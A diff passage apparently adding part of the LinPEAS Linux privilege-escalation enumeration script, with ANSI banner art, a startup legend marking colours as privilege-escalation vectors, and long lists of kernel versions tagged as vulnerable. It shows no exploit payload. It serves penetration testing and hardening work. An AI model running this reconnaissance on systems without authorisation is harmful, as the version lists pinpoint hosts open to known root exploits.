\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;72;218;36m▄\e[48;2;66;197;33m\e[38;2;72;217;36m▄\e[48;2;46;139;23m\e[38;2;73;217;37m▄\e[48;2;54;163;27m\e[38;2;72;217;37m▄\e[48;2;71;212;36m\e[38;2;72;217;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;37m\e[38;2;70;204;36m▄\e[48;2;60;158;37m\e[38;2;53;122;37m▄\e[48;2;52;103;38m\e[38;2;52;104;40m▄\e[48;2;33;54;28m\e[38;2;21;34;18m▄\e[48;2;46;70;41m\e[38;2;49;76;44m▄\e[0m
+ \e[48;2;49;76;44m\e[38;2;51;78;45m▄\e[48;2;32;51;28m\e[38;2;43;65;37m▄\e[48;2;61;125;45m\e[38;2;81;124;71m▄\e[48;2;54;124;38m\e[38;2;53;113;40m▄\e[48;2;68;202;36m\e[38;2;60;156;37m▄\e[48;2;73;218;37m\e[38;2;72;215;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;216;37m▄\e[48;2;73;217;37m\e[38;2;93;205;61m▄\e[48;2;79;213;44m\e[38;2;121;189;95m▄\e[48;2;85;210;51m\e[38;2;132;184;108m▄\e[48;2;82;211;47m\e[38;2;121;191;93m▄\e[48;2;73;217;37m\e[38;2;85;210;52m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;37;111;20m\e[38;2;71;214;36m▄\e[48;2;1;2;0m\e[38;2;44;128;22m▄\e[48;2;2;4;2m\e[38;2;15;39;8m▄\e[48;2;1;1;1m\e[38;2;29;82;14m▄\e[48;2;13;37;7m\e[38;2;68;204;34m▄\e[48;2;70;210;35m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;74;216;38m▄\e[48;2;82;211;47m\e[38;2;118;191;90m▄\e[48;2;100;200;70m\e[38;2;132;185;108m▄\e[48;2;103;201;72m\e[38;2;127;187;101m▄\e[48;2;98;203;67m\e[38;2;125;189;100m▄\e[48;2;85;209;52m\e[38;2;116;192;88m▄\e[48;2;73;217;37m\e[38;2;80;211;44m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;68;200;35m▄\e[48;2;63;170;35m\e[38;2;54;125;36m▄\e[48;2;51;103;38m\e[38;2;51;99;38m▄\e[48;2;49;101;36m\e[38;2;22;45;17m▄\e[48;2;30;47;26m\e[38;2;45;69;39m▄\e[48;2;51;78;45m \e[0m
+ \e[48;2;51;78;45m \e[48;2;49;75;43m\e[38;2;51;78;45m▄\e[48;2;30;38;27m\e[38;2;39;59;35m▄\e[48;2;63;123;49m\e[38;2;71;110;62m▄\e[48;2;54;121;37m\e[38;2;56;119;40m▄\e[48;2;68;198;37m\e[38;2;60;158;37m▄\e[48;2;73;218;37m\e[38;2;71;216;36m▄\e[48;2;73;217;37m\e[38;2;73;216;38m▄\e[48;2;91;206;58m\e[38;2;110;196;81m▄\e[48;2;122;191;95m\e[38;2;126;188;100m▄\e[48;2;128;186;102m\e[38;2;130;187;104m▄\e[48;2;140;180;116m\e[38;2;128;187;103m▄\e[48;2;126;188;100m\e[38;2;106;197;76m▄\e[48;2;96;202;64m\e[38;2;75;215;39m▄\e[48;2;73;217;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;217;38m\e[38;2;73;217;37m▄\e[48;2;114;194;86m\e[38;2;76;215;40m▄\e[48;2;142;178;121m\e[38;2;94;205;62m▄\e[48;2;150;176;129m\e[38;2;109;196;81m▄\e[48;2;142;180;120m\e[38;2;95;203;63m▄\e[48;2;116;193;88m\e[38;2;76;214;41m▄\e[48;2;78;213;44m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;67;196;36m▄\e[48;2;71;209;37m\e[38;2;60;154;36m▄\e[48;2;59;152;36m\e[38;2;57;138;37m▄\e[48;2;52;110;38m\e[38;2;56;130;37m▄\e[48;2;51;104;38m\e[38;2;30;71;21m▄\e[48;2;20;31;17m\e[38;2;45;69;39m▄\e[48;2;50;78;44m\e[38;2;51;78;45m▄\e[48;2;51;78;45m \e[0m
+ \e[48;2;51;78;45m\e[38;2;28;43;24m▄\e[48;2;51;78;45m\e[38;2;43;64;38m▄\e[48;2;51;78;45m\e[38;2;52;79;46m▄\e[48;2;34;53;30m\e[38;2;46;71;41m▄\e[48;2;64;124;48m\e[38;2;49;106;36m▄\e[48;2;53;115;38m\e[38;2;57;124;40m▄\e[48;2;63;175;36m\e[38;2;55;126;38m▄\e[48;2;73;217;37m\e[38;2;66;186;36m▄\e[48;2;89;208;56m\e[38;2;73;217;37m▄\e[48;2;111;195;82m\e[38;2;75;215;40m▄\e[48;2;109;197;80m\e[38;2;74;216;38m▄\e[48;2;85;209;52m\e[38;2;73;218;36m▄\e[48;2;73;216;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m\e[38;2;71;214;36m▄\e[48;2;71;212;36m\e[38;2;63;172;36m▄\e[48;2;63;174;35m\e[38;2;57;138;37m▄\e[48;2;58;146;36m\e[38;2;57;137;38m▄\e[48;2;58;139;37m\e[38;2;57;138;37m▄\e[48;2;58;138;37m\e[38;2;54;128;35m▄\e[48;2;50;117;34m\e[38;2;20;44;14m▄\e[48;2;20;32;17m\e[38;2;39;61;34m▄\e[48;2;51;77;44m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;49;75;43m▄\e[0m
+ \e[48;2;84;151;67m\e[38;2;98;177;78m▄\e[48;2;43;80;34m\e[38;2;98;177;78m▄\e[48;2;22;39;19m\e[38;2;98;178;78m▄\e[48;2;43;67;38m\e[38;2;81;148;64m▄\e[48;2;40;70;33m\e[38;2;44;78;36m▄\e[48;2;54;127;36m\e[38;2;21;47;15m▄\e[48;2;55;120;39m\e[38;2;54;117;39m▄\e[48;2;56;133;37m\e[38;2;59;133;40m▄\e[48;2;71;211;36m\e[38;2;61;164;37m▄\e[48;2;73;217;36m\e[38;2;71;211;36m▄\e[48;2;73;218;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;73;218;37m\e[38;2;67;203;34m▄\e[48;2;68;194;37m\e[38;2;40;116;21m▄\e[48;2;58;142;36m\e[38;2;8;21;5m▄\e[48;2;49;120;31m\e[38;2;6;10;5m▄\e[48;2;25;59;16m\e[38;2;73;108;65m▄\e[48;2;15;33;11m\e[38;2;95;157;79m▄\e[48;2;12;25;9m\e[38;2;97;175;77m▄\e[48;2;21;32;19m\e[38;2;99;179;79m▄\e[48;2;23;35;19m\e[38;2;98;178;78m▄\e[48;2;20;34;17m\e[38;2;98;178;78m▄\e[48;2;13;24;11m\e[38;2;98;178;78m▄\e[48;2;16;26;14m\e[38;2;98;177;78m▄\e[0m
+ \e[48;2;97;176;77m\e[38;2;58;103;46m▄\e[48;2;98;177;78m\e[38;2;94;170;75m▄\e[48;2;98;177;78m\e[38;2;99;179;79m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;97;176;77m\e[38;2;98;177;78m▄\e[48;2;91;165;72m\e[38;2;98;177;78m▄\e[48;2;55;100;44m\e[38;2;98;177;78m▄\e[48;2;15;27;10m\e[38;2;92;168;73m▄\e[48;2;24;46;18m\e[38;2;76;138;61m▄\e[48;2;73;154;53m\e[38;2;54;96;43m▄\e[48;2;74;213;39m\e[38;2;24;48;18m▄\e[48;2;74;222;37m\e[38;2;20;55;11m▄\e[48;2;73;217;37m\e[38;2;31;91;16m▄\e[48;2;73;218;37m\e[38;2;49;145;24m▄\e[48;2;73;218;37m\e[38;2;68;201;35m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;74;220;37m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;220;37m▄\e[48;2;73;218;37m\e[38;2;72;214;37m▄\e[48;2;73;218;37m\e[38;2;63;187;32m▄\e[48;2;72;217;36m\e[38;2;41;120;22m▄\e[48;2;74;222;36m\e[38;2;21;52;13m▄\e[48;2;67;203;34m\e[38;2;39;62;34m▄\e[48;2;40;117;21m\e[38;2;64;103;54m▄\e[48;2;14;43;7m\e[38;2;72;126;57m▄\e[48;2;4;12;2m\e[38;2;87;156;69m▄\e[48;2;25;45;21m\e[38;2;97;174;78m▄\e[48;2;71;124;57m\e[38;2;99;177;80m▄\e[48;2;97;168;78m\e[38;2;94;170;75m▄\e[48;2;96;175;77m\e[38;2;103;177;84m▄\e[48;2;98;176;79m\e[38;2;109;183;90m▄\e[48;2;100;178;80m\e[38;2;112;185;94m▄\e[48;2;100;177;80m\e[38;2;111;184;92m▄\e[48;2;99;177;80m\e[38;2;107;182;89m▄\e[48;2;98;177;78m\e[38;2;105;182;85m▄\e[48;2;98;177;78m\e[38;2;103;180;83m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[0m
+ \e[38;2;54;79;47m▀\e[38;2;72;123;60m▀\e[48;2;97;176;78m\e[38;2;65;87;60m▄\e[48;2;98;177;78m\e[38;2;73;130;59m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;96;172;77m\e[38;2;98;177;78m▄\e[48;2;82;147;65m\e[38;2;98;177;78m▄\e[48;2;66;116;52m\e[38;2;98;177;78m▄\e[48;2;46;78;38m\e[38;2;98;177;78m▄\e[48;2;27;51;20m\e[38;2;98;177;78m▄\e[48;2;28;60;20m\e[38;2;94;169;74m▄\e[48;2;28;67;19m\e[38;2;86;155;69m▄\e[48;2;34;96;19m\e[38;2;69;123;54m▄\e[48;2;42;126;21m\e[38;2;48;86;39m▄\e[48;2;51;148;27m\e[38;2;36;64;28m▄\e[48;2;55;164;28m\e[38;2;26;46;20m▄\e[48;2;60;180;30m\e[38;2;23;39;18m▄\e[48;2;62;186;31m\e[38;2;21;40;17m▄\e[48;2;61;181;31m\e[38;2;19;36;16m▄\e[48;2;67;176;40m\e[38;2;18;32;14m▄\e[48;2;63;173;35m\e[38;2;23;36;19m▄\e[48;2;56;168;29m\e[38;2;27;42;23m▄\e[48;2;53;160;27m\e[38;2;29;45;24m▄\e[48;2;44;133;22m\e[38;2;30;53;25m▄\e[48;2;34;102;17m\e[38;2;52;89;43m▄\e[48;2;20;60;10m\e[38;2;88;148;71m▄\e[48;2;24;47;19m\e[38;2;97;171;78m▄\e[48;2;34;62;27m\e[38;2;98;177;78m▄\e[48;2;55;99;44m\e[38;2;98;177;78m▄\e[48;2;80;144;64m\e[38;2;98;177;78m▄\e[48;2;99;176;79m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;99;177;79m\e[38;2;96;172;76m▄\e[48;2;99;175;79m\e[38;2;85;151;68m▄\e[48;2;95;169;76m\e[38;2;72;121;60m▄\e[48;2;109;180;92m\e[38;2;37;57;32m▄\e[48;2;100;159;85m\e[38;2;38;41;36m▄\e[48;2;72;107;62m\e[38;2;74;74;74m▄\e[0m\e[38;2;44;65;38m▀\e[38;2;31;48;27m▀\e[38;2;31;48;26m▀\e[38;2;31;52;25m▀\e[38;2;41;71;34m▀\e[38;2;59;97;50m▀\e[0m
+ \e[38;2;95;106;94m▀\e[38;2;81;137;65m▀\e[38;2;91;166;73m▀\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[0m\e[38;2;28;50;23m▀\e[38;2;20;22;20m▀\e[0m
+ \e[38;2;41;52;39m▀\e[38;2;39;76;30m▀\e[38;2;73;136;57m▀\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[0m\e[38;2;53;97;41m▀\e[38;2;24;44;19m▀\e[38;2;36;41;35m▀\e[0m
+'";
+ else
+ echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m
+ \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m
+ \e[48;5;65m \e[48;5;16m \e[48;5;22m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;65m \e[49m
+ \e[48;5;65m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;65m \e[49m
+ \e[48;5;23m \e[48;5;214m \e[48;5;178m \e[48;5;214m \e[48;5;65m \e[49m
+ \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;94m \e[48;5;136m \e[48;5;214m \e[48;5;65m \e[49m
+ \e[48;5;58m \e[48;5;214m \e[48;5;172m \e[48;5;64m \e[48;5;77m \e[48;5;71m \e[48;5;65m \e[49m
+ \e[48;5;16m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;65m \e[49m
+ \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;65m \e[49m
+ \e[48;5;65m \e[48;5;77m \e[48;5;71m \e[48;5;16m \e[48;5;77m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[49m
+ \e[48;5;65m \e[48;5;16m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[48;5;59m \e[48;5;65m \e[49m
+ \e[48;5;16m \e[48;5;65m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;22m \e[48;5;65m \e[49m
+ \e[48;5;108m \e[48;5;107m \e[48;5;59m \e[48;5;77m \e[48;5;16m \e[48;5;114m \e[48;5;108m \e[49m"
+ fi
+ fi
+}
+
+
+print_support () {
+ printf """
+ ${GREEN}/---------------------------------------------------------------------------------\\
+ | ${BLUE}Do you like PEASS?${GREEN} |
+ |---------------------------------------------------------------------------------|
+ | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} |
+ | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} |
+ |---------------------------------------------------------------------------------|
+ | ${BLUE}Thank you! ${GREEN} |
+ \---------------------------------------------------------------------------------/
+"""
+}
+
+###########################################
+#-----------) Starting Output (-----------#
+###########################################
+
+echo ""
+if [ ! "$QUIET" ]; then print_banner; print_support; fi
+printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by github.com/PEASS-ng\n"$NC;
+echo ""
+printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC"
+echo ""
+printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC
+echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m,"
+echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW},"
+echo " RED: You should take a look to it" | sed "s,RED,${SED_RED},"
+echo " LightCyan: Users with console" | sed "s,LightCyan,${SED_LIGHT_CYAN},"
+echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE},"
+echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN},"
+echo " LightMagenta: Your username" | sed "s,LightMagenta,${SED_LIGHT_MAGENTA},"
+if [ "$IAMROOT" ]; then
+ echo ""
+ echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW},"
+ sleep 3
+fi
+echo ""
+printf " ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC"
+echo ""
+
+###########################################
+#---------------) Lists (-----------------#
+###########################################
+
+filename="$SCRIPTNAME.txt$RANDOM"
+kernelB=" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24"
+kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual"
+kernelDCW_Ubuntu_Precise_2="3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-pae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual"
+kernelDCW_Ubuntu_Precise_3="3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic"
+kernelDCW_Ubuntu_Precise_4="3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowla